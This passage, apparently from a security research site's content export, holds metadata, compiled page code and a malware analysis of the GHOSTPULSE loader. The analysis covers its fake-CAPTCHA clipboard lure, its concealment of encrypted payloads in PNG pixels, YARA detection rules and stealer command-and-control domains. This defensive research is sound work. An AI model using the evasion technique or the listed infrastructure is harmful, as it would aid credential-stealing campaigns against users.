733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"XenoStealer.exe\"}),(0,t.jsx)(e.td,{children:\"XENOSTEALER\"})]})]})]})}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://developer.chrome.com/release-notes/127\",rel:\"nofollow\",children:\"https://developer.chrome.com/release-notes/127\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html\",rel:\"nofollow\",children:\"https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html\"})}),`\n`]})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var C=k;return y(E);})();\n;return Component;"},"_id":"articles/katz-and-mouse-game.mdx","_raw":{"sourceFilePath":"articles/katz-and-mouse-game.mdx","sourceFileName":"katz-and-mouse-game.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/katz-and-mouse-game"},"type":"Article","imageUrl":"/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg","readingTime":"20 min read","series":"","url":"/katz-and-mouse-game","headings":[{"level":2,"title":"Google Chrome Cookie Security","href":"#google-chrome-cookie-security"},{"level":2,"title":"STEALC/VIDAR","href":"#stealcvidar"},{"level":2,"title":"METASTEALER","href":"#metastealer"},{"level":2,"title":"PHEMEDRONE","href":"#phemedrone"},{"level":2,"title":"XENOSTEALER","href":"#xenostealer"},{"level":2,"title":"LUMMA","href":"#lumma"},{"level":2,"title":"Cookies access by an unusual process","href":"#cookies-access-by-an-unusual-process"},{"level":2,"title":"Chrome Browser Spawned from an Unusual Parent","href":"#chrome-browser-spawned-from-an-unusual-parent"},{"level":2,"title":"Untrusted Binaries from Chrome Application folder","href":"#untrusted-binaries-from-chrome-application-folder"},{"level":3,"title":"Unsigned DLLs loaded from google chrome application folder","href":"#unsigned-dlls-loaded-from-google-chrome-application-folder"},{"level":3,"title":"Unsigned executable launched from google chrome application folder","href":"#unsigned-executable-launched-from-google-chrome-application-folder"},{"level":2,"title":"Stealer Bypasses and MITRE ATT\u0026CK","href":"#stealer-bypasses-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques","href":"#techniques"},{"level":2,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Jia Yu Chan","slug":"jia-yu-chan","description":"Elastic Security Labs Team Research Engineer, Malware","image":"jiayuchan.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var h=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),p=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of x(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(c=j(e,r))||c.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?g(l(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),d=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var u=h((D,s)=\u003e{s.exports=_jsx_runtime});var b={};p(b,{default:()=\u003eC,frontmatter:()=\u003ey});var a=_(u()),y={title:\"Jia Yu Chan\",description:\"Elastic Security Labs Team Research Engineer, Malware\",slug:\"jia-yu-chan\",image:\"jiayuchan.jpg\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=M;return d(b);})();\n;return Component;"},"_id":"authors/jia-yu-chan.mdx","_raw":{"sourceFilePath":"authors/jia-yu-chan.mdx","sourceFileName":"jia-yu-chan.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jia-yu-chan"},"type":"Author","imageUrl":"/assets/images/authors/jiayuchan.jpg","url":"/authors/jia-yu-chan"},{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"},{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Tricks and Treats: GHOSTPULSE’s new pixel-level deception","slug":"tricks-and-treats","date":"2024-10-19","description":"The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.","image":"tricks-and-treats.jpg","tags":["ghostpulse","lummastealer","ref8207"],"body":{"raw":"\n## Update\n\nThis research covers an update to stage 2 of GHOSTPULSE, [originally disclosed](https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks#stage-2) by Elastic Security Labs in October 2023.\n\n## Key takeaways\n\n1. GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.\n1. Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.\n1. Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.\n\n## Preamble\n\nThe GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.\n\nIn its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a [previous article from Elastic Security Labs](https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks). However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.\n\nIn this research publication, we’ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.\n\n## Introduction\n\nRecently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by [HarfangLab](https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/). These campaigns stand out due to their [creative social engineering tactics](https://www.secureworks.com/blog/fake-human-verification-prompt-delivers-infostealers). Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.\n\n![Social engineer lure website](/assets/images/tricks-and-treats/image1.png \"Lure website\")\n\nIn previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.\n\nHowever, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file—a benign but compromised executable that includes the PNG file within its resources section.\n\n![Large embedded PNG file in the resources section](/assets/images/tricks-and-treats/image2.png \"Large embedded PNG file in the resources section\")\n\n## Technical analysis\n\nThe updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.\n\nThe following is a screenshot showing the pseudocode of both implementations:\n\n![Pseudocode code comparison between old and new algorithm](/assets/images/tricks-and-treats/image4.png \"Pseudocode code comparison between old and new algorithm\")\n\nIn earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware’s parsing process was straightforward: it would search for a specific marker within the file—in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.\n\nIn the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's `RED`, `GREEN`, and `BLUE` (RGB) values sequentially using standard Windows APIs from the [GdiPlus(GDI+)](https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start) library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.\n\nThe following diagram provides a visual breakdown of this process:\n\n![](/assets/images/tricks-and-treats/image5.png)\n\n## Updated configuration extractor\n\nBased on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our [labs-releases repository](https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse).\n\n![](/assets/images/tricks-and-treats/image3.png)\n\n## Detecting GHOSTPULSE with YARA\n\nThe original [GHOSTPULSE YARA](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar) rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.\n\nElastic Security has updated the GHOSTPULSE YARA rules to identify this activity:\n\n```\nrule Windows_Trojan_GHOSTPULSE_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-10-15\"\n last_modified = \"2024-10-15\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"GHOSTPULSE\"\n threat_name = \"Windows.Trojan.GHOSTPULSE\"\n license = \"Elastic License v2\"\n\n strings:\n $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 }\n $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 }\n\n condition:\n any of them\n}\n\nrule Windows_Trojan_GHOSTPULSE_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-10-10\"\n last_modified = \"2024-10-10\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"GHOSTPULSE\"\n threat_name = \"Windows.Trojan.GHOSTPULSE\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C }\n\n condition:\n all of them\n}\n```\n\n## Conclusion\n\nIn summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.\n\nAs attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|-------------|-----------------|------------------------------------------|\n| `57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077` | SHA-256 | `Setup.exe` | GHOSTPULSE sample |\n| `b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae` | SHA-256 | `Setup_light.exe` | GHOSTPULSE sample |\n| `winrar01.b-cdn[.]net` | domain-name | | Infrastructure hosting GHOSTPULSE sample |\n| `reinforcenh[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `stogeneratmns[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `fragnantbui[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `drawzhotdog[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `vozmeatillu[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `offensivedzvju[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `ghostreedmnu[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `gutterydhowi[.]shop` | domain-name | | LUMMASTEALER C2 |\n| `riderratttinow[.]shop` | domain-name | | LUMMASTEALER C2 |","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var n in e)r(i,n,{get:e[n],enumerable:!0})},d=(i,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of p(e))!m.call(i,a)\u0026\u0026a!==n\u0026\u0026r(i,a,{get:()=\u003ee[a],enumerable:!(s=u(e,a))||s.enumerable});return i};var w=(i,e,n)=\u003e(n=i!=null?h(g(i)):{},d(e||!i||!i.__esModule?r(n,\"default\",{value:i,enumerable:!0}):n,i)),y=i=\u003ed(r({},\"__esModule\",{value:!0}),i);var c=f((A,o)=\u003e{o.exports=_jsx_runtime});var E={};b(E,{default:()=\u003eT,frontmatter:()=\u003eS});var t=w(c()),S={title:\"Tricks and Treats: GHOSTPULSE\\u2019s new pixel-level deception\",slug:\"tricks-and-treats\",date:\"2024-10-19\",description:\"The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.\",author:[{slug:\"salim-bitam\"}],image:\"tricks-and-treats.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"ghostpulse\",\"lummastealer\",\"ref8207\"]};function l(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ol:\"ol\",li:\"li\",img:\"img\",code:\"code\",pre:\"pre\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"update\",children:\"Update\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This research covers an update to stage 2 of GHOSTPULSE, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks#stage-2\",rel:\"nofollow\",children:\"originally disclosed\"}),\" by Elastic Security Labs in October 2023.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"The GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\",rel:\"nofollow\",children:\"previous article from Elastic Security Labs\"}),\". However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In this research publication, we\\u2019ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Recently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by \",(0,t.jsx)(e.a,{href:\"https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/\",rel:\"nofollow\",children:\"HarfangLab\"}),\". These campaigns stand out due to their \",(0,t.jsx)(e.a,{href:\"https://www.secureworks.com/blog/fake-human-verification-prompt-delivers-infostealers\",rel:\"nofollow\",children:\"creative social engineering tactics\"}),\". Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/tricks-and-treats/image1.png\",alt:\"Social engineer lure website\",title:\"Lure website\",width:\"779\",height:\"782\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.\"}),`\n`,(0,t.jsx)(e.p,{children:\"However, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file\\u2014a benign but compromised executable that includes the PNG file within its resources section.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/tricks-and-treats/image2.png\",alt:\"Large embedded PNG file in the resources section\",title:\"Large embedded PNG file in the resources section\",width:\"1999\",height:\"934\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"technical-analysis\",children:\"Technical analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"The updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following is a screenshot showing the pseudocode of both implementations:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/tricks-and-treats/image4.png\",alt:\"Pseudocode code comparison between old and new algorithm\",title:\"Pseudocode code comparison between old and new algorithm\",width:\"1999\",height:\"1088\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware\\u2019s parsing process was straightforward: it would search for a specific marker within the file\\u2014in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's \",(0,t.jsx)(e.code,{children:\"RED\"}),\", 